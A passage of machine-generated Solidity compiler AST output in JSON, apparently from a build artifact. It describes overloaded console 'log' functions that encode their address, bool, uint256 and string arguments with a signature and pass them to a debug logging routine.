\"log(address,bool,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31367,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65567:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31368,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65571:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65567:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31374,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65567:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31366,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"65551:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31375,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65551:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31376,"nodeType":"ExpressionStatement","src":"65551:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65484:3:15","parameters":{"id":31364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31357,"mutability":"mutable","name":"p0","nameLocation":"65496:2:15","nodeType":"VariableDeclaration","scope":31378,"src":"65488:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31356,"name":"address","nodeType":"ElementaryTypeName","src":"65488:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31359,"mutability":"mutable","name":"p1","nameLocation":"65505:2:15","nodeType":"VariableDeclaration","scope":31378,"src":"65500:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31358,"name":"bool","nodeType":"ElementaryTypeName","src":"65500:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31361,"mutability":"mutable","name":"p2","nameLocation":"65514:2:15","nodeType":"VariableDeclaration","scope":31378,"src":"65509:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31360,"name":"bool","nodeType":"ElementaryTypeName","src":"65509:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31363,"mutability":"mutable","name":"p3","nameLocation":"65523:2:15","nodeType":"VariableDeclaration","scope":31378,"src":"65518:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31362,"name":"bool","nodeType":"ElementaryTypeName","src":"65518:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"65487:39:15"},"returnParameters":{"id":31365,"nodeType":"ParameterList","parameters":[],"src":"65541:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31401,"nodeType":"FunctionDefinition","src":"65651:176:15","nodes":[],"body":{"id":31400,"nodeType":"Block","src":"65720:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c6164647265737329","id":31392,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65770:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_cf394485abbd1f04b85b0f2c1a2cfc07e3d51c1c6f28386bf16d9e45161e8953","typeString":"literal_string \"log(address,bool,bool,address)\""},"value":"log(address,bool,bool,address)"},{"id":31393,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31380,"src":"65804:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31394,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31382,"src":"65808:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31395,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31384,"src":"65812:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31396,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31386,"src":"65816:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cf394485abbd1f04b85b0f2c1a2cfc07e3d51c1c6f28386bf16d9e45161e8953","typeString":"literal_string \"log(address,bool,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31390,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65746:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31391,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65750:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65746:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31397,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65746:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31389,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"65730:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65730:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31399,"nodeType":"ExpressionStatement","src":"65730:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65660:3:15","parameters":{"id":31387,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31380,"mutability":"mutable","name":"p0","nameLocation":"65672:2:15","nodeType":"VariableDeclaration","scope":31401,"src":"65664:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31379,"name":"address","nodeType":"ElementaryTypeName","src":"65664:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31382,"mutability":"mutable","name":"p1","nameLocation":"65681:2:15","nodeType":"VariableDeclaration","scope":31401,"src":"65676:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31381,"name":"bool","nodeType":"ElementaryTypeName","src":"65676:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31384,"mutability":"mutable","name":"p2","nameLocation":"65690:2:15","nodeType":"VariableDeclaration","scope":31401,"src":"65685:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31383,"name":"bool","nodeType":"ElementaryTypeName","src":"65685:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31386,"mutability":"mutable","name":"p3","nameLocation":"65702:2:15","nodeType":"VariableDeclaration","scope":31401,"src":"65694:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31385,"name":"address","nodeType":"ElementaryTypeName","src":"65694:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"65663:42:15"},"returnParameters":{"id":31388,"nodeType":"ParameterList","parameters":[],"src":"65720:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31424,"nodeType":"FunctionDefinition","src":"65833:182:15","nodes":[],"body":{"id":31423,"nodeType":"Block","src":"65905:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c75696e7432353629","id":31415,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65955:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a75c59de36827f2596ade7bd79f668ae219518c12b79ebf06071586765c3e039","typeString":"literal_string \"log(address,bool,address,uint256)\""},"value":"log(address,bool,address,uint256)"},{"id":31416,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31403,"src":"65992:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31417,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31405,"src":"65996:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31418,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31407,"src":"66000:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31419,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31409,"src":"66004:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a75c59de36827f2596ade7bd79f668ae219518c12b79ebf06071586765c3e039","typeString":"literal_string \"log(address,bool,address,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31413,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65931:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31414,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65935:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65931:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65931:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31412,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"65915:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31421,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65915:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31422,"nodeType":"ExpressionStatement","src":"65915:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65842:3:15","parameters":{"id":31410,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31403,"mutability":"mutable","name":"p0","nameLocation":"65854:2:15","nodeType":"VariableDeclaration","scope":31424,"src":"65846:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31402,"name":"address","nodeType":"ElementaryTypeName","src":"65846:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31405,"mutability":"mutable","name":"p1","nameLocation":"65863:2:15","nodeType":"VariableDeclaration","scope":31424,"src":"65858:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31404,"name":"bool","nodeType":"ElementaryTypeName","src":"65858:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31407,"mutability":"mutable","name":"p2","nameLocation":"65875:2:15","nodeType":"VariableDeclaration","scope":31424,"src":"65867:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31406,"name":"address","nodeType":"ElementaryTypeName","src":"65867:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31409,"mutability":"mutable","name":"p3","nameLocation":"65887:2:15","nodeType":"VariableDeclaration","scope":31424,"src":"65879:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31408,"name":"uint256","nodeType":"ElementaryTypeName","src":"65879:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"65845:45:15"},"returnParameters":{"id":31411,"nodeType":"ParameterList","parameters":[],"src":"65905:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31447,"nodeType":"FunctionDefinition","src":"66021:187:15","nodes":[],"body":{"id":31446,"nodeType":"Block","src":"66099:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c737472696e6729","id":31438,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66149:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2dd778e616be9386b5911da1a074bbaf979640681783fca6396ea75c8caf6453","typeString":"literal_string \"log(address,bool,address,string)\""},"value":"log(address,bool,address,string)"},{"id":31439,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31426,"src":"66185:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31440,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31428,"src":"66189:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31441,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31430,"src":"66193:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31442,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31432,"src":"66197:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2dd778e616be9386b5911da1a074bbaf979640681783fca6396ea75c8caf6453","typeString":"literal_string \"log(address,bool,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31436,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66125:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31437,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66129:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66125:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31443,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66125:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31435,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"66109:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66109:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31445,"nodeType":"ExpressionStatement","src":"66109:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66030:3:15","parameters":{"id":31433,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31426,"mutability":"mutable","name":"p0","nameLocation":"66042:2:15","nodeType":"VariableDeclaration","scope":31447,"src":"66034:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31425,"name":"address","nodeType":"ElementaryTypeName","src":"66034:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31428,"mutability":"mutable","name":"p1","nameLocation":"66051:2:15","nodeType":"VariableDeclaration","scope":31447,"src":"66046:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31427,"name":"bool","nodeType":"ElementaryTypeName","src":"66046:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31430,"mutability":"mutable","name":"p2","nameLocation":"66063:2:15","nodeType":"VariableDeclaration","scope":31447,"src":"66055:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31429,"name":"address","nodeType":"ElementaryTypeName","src":"66055:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31432,"mutability":"mutable","name":"p3","nameLocation":"66081:2:15","nodeType":"VariableDeclaration","scope":31447,"src":"66067:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31431,"name":"string","nodeType":"ElementaryTypeName","src":"66067:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66033:51:15"},"returnParameters":{"id":31434,"nodeType":"ParameterList","parameters":[],"src":"66099:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31470,"nodeType":"FunctionDefinition","src":"66214:176:15","nodes":[],"body":{"id":31469,"nodeType":"Block","src":"66283:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c626f6f6c29","id":31461,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66333:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a6f50b0f122c916fe81861751b94bdddb5e453947768e8af206397bb510790b1","typeString":"literal_string \"log(address,bool,address,bool)\""},"value":"log(address,bool,address,bool)"},{"id":31462,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31449,"src":"66367:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31463,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31451,"src":"66371:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31464,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31453,"src":"66375:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31465,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31455,"src":"66379:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a6f50b0f122c916fe81861751b94bdddb5e453947768e8af206397bb510790b1","typeString":"literal_string \"log(address,bool,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31459,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66309:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31460,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66313:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66309:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31466,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66309:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31458,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"66293:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31467,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66293:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31468,"nodeType":"ExpressionStatement","src":"66293:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66223:3:15","parameters":{"id":31456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31449,"mutability":"mutable","name":"p0","nameLocation":"66235:2:15","nodeType":"VariableDeclaration","scope":31470,"src":"66227:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31448,"name":"address","nodeType":"ElementaryTypeName","src":"66227:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31451,"mutability":"mutable","name":"p1","nameLocation":"66244:2:15","nodeType":"VariableDeclaration","scope":31470,"src":"66239:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31450,"name":"bool","nodeType":"ElementaryTypeName","src":"66239:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31453,"mutability":"mutable","name":"p2","nameLocation":"66256:2:15","nodeType":"VariableDeclaration","scope":31470,"src":"66248:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31452,"name":"address","nodeType":"ElementaryTypeName","src":"66248:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31455,"mutability":"mutable","name":"p3","nameLocation":"66265:2:15","nodeType":"VariableDeclaration","scope":31470,"src":"66260:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31454,"name":"bool","nodeType":"ElementaryTypeName","src":"66260:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"66226:42:15"},"returnParameters":{"id":31457,"nodeType":"ParameterList","parameters":[],"src":"66283:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31493,"nodeType":"FunctionDefinition","src":"66396:182:15","nodes":[],"body":{"id":31492,"nodeType":"Block","src":"66468:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c6164647265737329","id":31484,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66518:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_660375ddb58761b4ce952ec7e1ae63efe9f8e9e69831fd72875968fec9046e35","typeString":"literal_string \"log(address,bool,address,address)\""},"value":"log(address,bool,address,address)"},{"id":31485,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31472,"src":"66555:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31486,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31474,"src":"66559:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31487,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31476,"src":"66563:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31488,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31478,"src":"66567:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_660375ddb58761b4ce952ec7e1ae63efe9f8e9e69831fd72875968fec9046e35","typeString":"literal_string \"log(address,bool,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31482,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66494:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31483,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66498:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66494:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66494:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31481,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"66478:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31490,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66478:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31491,"nodeType":"ExpressionStatement","src":"66478:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66405:3:15","parameters":{"id":31479,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31472,"mutability":"mutable","name":"p0","nameLocation":"66417:2:15","nodeType":"VariableDeclaration","scope":31493,"src":"66409:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31471,"name":"address","nodeType":"ElementaryTypeName","src":"66409:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31474,"mutability":"mutable","name":"p1","nameLocation":"66426:2:15","nodeType":"VariableDeclaration","scope":31493,"src":"66421:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31473,"name":"bool","nodeType":"ElementaryTypeName","src":"66421:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31476,"mutability":"mutable","name":"p2","nameL